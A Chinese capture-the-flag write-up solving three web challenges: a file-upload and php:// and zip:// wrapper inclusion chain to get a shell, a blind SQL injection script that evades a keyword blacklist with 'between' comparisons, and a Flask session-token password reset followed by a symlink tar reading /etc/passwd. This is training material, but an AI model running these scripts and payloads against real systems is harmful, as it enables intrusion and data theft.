安恒11月月赛周周练writeup

前言

11月月赛 完美错过时间,正好有周周练,基本都是一样月赛的web,记录下write up

手速要快

这题是10月月赛中的一题,直接看我上次的writeup:安恒月赛(十)web-2题writeup,这里不重复了

image_up

访问主页:http://101.71.29.5:10007/login.php

image.png

随意输入username和password登陆,

image.png

随意尝试上传了文件,好像只能jpg结尾,上传后无回显任何内容。

陷入僵局……发现url:http://101.71.29.5:10007/index.php?page=upload 有点意思

page=upload当前页应该是page参数来控制的,当前为upload.php 而php没有显示。

伪协议

尝试用伪协议读取:

/index.php?page=php://filter/read=convert.base64-encode/resource=index

base64 decode下

index.php

<?php
  if(isset($_GET['page'])){
    if(!stristr($_GET['page'],"..")){ // page中不能有.. 
      $page = $_GET['page'].".php"; // 自动加.php
      include($page);
    }else{
      header("Location: index.php?page=login");
    }
  }else{
    header("Location: index.php?page=login");
  }

string stristr ( string $haystack , mixed $needle [, bool $before_needle = FALSE ] )

返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

参数

  • haystack

    在该字符串中查找。

  • needle

    如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。

  • before_needle

    若为 TRUEstrstr() 将返回 needlehaystack 中的位置之前的部分(不包括 needle)。

参数 needlehaystack 将以不区分大小写的方式对待。

返回值

返回匹配的子字符串。如果 needle 未找到,返回 FALSE

如果page中带有..就不能进入if了

.php是自动加上的,我们再把login.php读下

login.php

<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Login Form</title>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>

      <link rel="stylesheet" href="css/style.css">


</head>

<body>
<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
    header("Location: index.php?page=upload");
    exit();
  }
?>

<div class="form">
  <div class="thumbnail"><img src="hat.svg"/></div>
  <form class="login-form" action="" method="post">
    <input type="text" name="username" placeholder="username"/>
    <input type="password" name="password" placeholder="password"/>
    <button type="submit">login</button>
  </form>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>



<script  src="js/index.js"></script>




</body>

</html>

接着读upload

upload.php

<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Upload Form</title>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>

      <link rel="stylesheet" href="css/style.css">


</head>

<body>
<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]); # 分隔文件名和后缀
        $extension = end($temp); # 取到后缀
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension; # 构造文件名
              move_uploaded_file($_FILES["image"]["tmp_name"], $path); # 从临时文件移动到path
              $error = "上传成功!";
            }
        else{
            $error = "上传失败!";
        }

        }else{
          $error = "文件过大,上传失败!";
        }
    }

?>
<div class="form">
  <div class="thumbnail"><img src="hat.svg"/></div>
  <form class="login-form" action="" method="post" enctype="multipart/form-data">
    <input type="file" name="image" placeholder="image"/>
    <button type="submit">login</button>
  </form>
  <?php echo $error;?>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>



<script  src="js/index.js"></script>




</body>

</html>


PS:end()array 的内部指针移动到最后一个单元并返回其值。

看脚本已经很明白了,文件名我们是可控的,再加之我们可以用page参数包含,但是不能向上包含,所以得配合zip伪协议来getshell,一步一步来,

  1. 上传 后缀.jpg的zip压缩包(配合zip伪协议)
  2. 利用脚本跑到我们的上传后文件
  3. 包含getshell

跑filename脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#    @Author:iSk2y

import requests
import hashlib
import time

def filename_md5(t):
    m = hashlib.md5()
    m.update(('test' + str(t)).encode())
    return m.hexdigest()

url = 'http://101.71.29.5:10007/'

files = {
    'image': ('test.jpg', open('test.jpg', 'rb'),'multipart/form-data')
}

upload_time = int(time.time()+8*3600)
r = requests.post(url=url + 'upload.php', files=files)
for i in range(upload_time-50, upload_time+50):
    path = url + 'uploads/' + filename_md5(i) + '.jpg'
    
    code = requests.get(path).status_code
    if code == 200:
        print(path)
        break

这里有个坑,服务器时间和我们本地时间差了8个小时。。。我去,。。。

得到文件名:http://101.71.29.5:10007/uploads/53510951c66ca846465c5c81e085ac48.jpg

利用zip伪协议

/index.php?page=zip://./uploads/bf6bcbd472975518ed9dbf1ef021f251.jpg%23test
image.png

Mark

伪协议知识点整理

好黑的名单

看样子应该是注入了,而且黑名单过滤了很多关键词应该

url:http://101.71.29.5:10008/show.php?id=1

测试后得到信息:

  1. id=1 id=2 id=3 有正常记录
  2. 正常返回页面中内容有 <span>郑州烩面的价钱为10</span>
image.png
  1. 错误返回页面中内容为 <span>想让我下面给你吃?
image.png
  1. 遇到黑名单的词 返回内容为
image.png
  1. 服务器400错误
image.png

基本判断:

  1. 内容为 :郑州烩面的价钱为10 是正常结果
  2. 内容为 :想让我下面给你吃 是错误结果
  3. 内容为 :这么坏?想让我下面给你吃吗?XD 是遇到黑名单
  4. 400错误 :暂不确定额

测试了很多,很多都在黑名单中,如

',*, ,union,like,=,substr,left……

有错误和正确状态返回,盲注应该是可以采用的,但是比较符很多都被ban了,后来看wp说,这里要用到between and,还有regexp也能用(可能是非预期解)

mysql> select database();
+------------+
| database() |
+------------+
| practise   |
+------------+
1 row in set (0.00 sec)

mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> select database() between 'p' and 'z';
+--------------------------------+
| database() between 'p' and 'z' |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'q' and 'z';
+--------------------------------+
| database() between 'q' and 'z' |
+--------------------------------+
|                              0 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'pr' and 'z';
+---------------------------------+
| database() between 'pr' and 'z' |
+---------------------------------+
|                               1 |
+---------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'ps' and 'z';
+---------------------------------+
| database() between 'ps' and 'z' |
+---------------------------------+
|                               0 |
+---------------------------------+
1 row in set (0.00 sec)

between and的用法如上,还有个小特性,如果第n位与最终值相同,比较的是n+1位。

那就写盲注脚本如下

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#    @Author:iSk2y

import requests
import string
import binascii

c = ','+string.digits + string.ascii_lowercase + '{|}~'
# 0123456789abcdefghijklmnopqrstuvwxyz
url = 'http://101.71.29.5:10008/show.php'
res = ''

# 不知道要跑的内容到底有多长 50吧
for len in range(1,50):
    # 循环每个字符 
    for i in c[::-1]:
        diff = '0x' + binascii.b2a_hex((res + i).encode()).decode()
        # 库名: web  web的hex是0x776562
        # payload = '?id=1 and (select database() between {0} and {1})'.format(diff,hex(ord('z')))
        
        # 表名为: admin,flaggg,menu  flaggg的hex是0x666C61676767
        # payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT(table_name) FROM information_schema .TABLES WHERE TABLE_SCHEMA between 0x776562 and 0x776562) between {0} and {1})'.format(diff,hex(ord('~')))
        
        # 字段名: id,f1agg
        # payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT(column_name) FROM information_schema .COLUMNS WHERE TABLE_NAME between 0x666C61676767 and 0x666C61676767) between {0} and {1})'.format(diff,hex(ord('~')))
        
        payload = '?id=1 and (select (select f1agg FROM web.flaggg) between {0} and {1})'.format(diff,hex(ord('z')))
        # print(payload)
        payload = '%0A'.join(payload.split(' '))
        # print(payload)

        r = requests.get(url=url + payload)
        if '烩面' in r.text:
            # 有 价钱 就代表是正确
            res += i 
            # print(res)
            break
        elif '下面' in r.text:
            # 代表错误
            continue
        else:
            print(r.text)
    print(res)

image.png
image.png
image.png

flag{5d6352163c30ba51f1e2c0dd08622428}

interesting-web

flask暂时还不太熟悉,看了官wp,这题是根据cookie中session的token内容来找回admin的密码。admin可以登录后上传tar包内含软连接jpg图片,flag就在/etc/passwd 所以制作软连接时链向它就好了。

好吧是我太菜,第一次见识这个姿势。。

先走通整个流程后,看找回密码的点。

找回密码会把token发送到你注册时候的ip地址,可以自己测试下,最好准备好外网的ip。

而这个token其实是可以计算出来的,在访问reset时,响应response会发送set-cookie,

image.png

将session base64decode一下

eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPR05rWkRRM1lqSmpORFEzT1RVM05XWmlORFJoT0dNek5UUXpPV1F3TjJJPSJ9LCJ1c2VybmFtZSI6InRlc3QyIn0

{
  "login": true,
  "token": {
    " b": "OGNkZDQ3YjJjNDQ3OTU3NWZiNDRhOGMzNTQzOWQwN2I="
  },
  "username": "test2"
}


再将b键的内容base64decode下

OGNkZDQ3YjJjNDQ3OTU3NWZiNDRhOGMzNTQzOWQwN2I=

8cdd47b2c4479575fb44a8c35439d07b

下面这个其实就是发送给ip的token值,可以和网站发送过来的比对下。那么按照这个方法去找回admin的密码

找回密码后就可以上传tar包了

ln -s /etc/passwd 2.jpg

tar cvfp test.tar 2.jpg

image.png
image.png

flag{5be43c58a33a867cb11975587f8edf33}

Mark

  • Flask
  • 软链接相关利用

还有几题后续更新……

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,542评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,596评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,021评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,682评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,792评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,985评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,107评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,845评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,299评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,612评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,747评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,441评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,072评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,828评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,069评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,545评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,658评论 2 350

推荐阅读更多精彩内容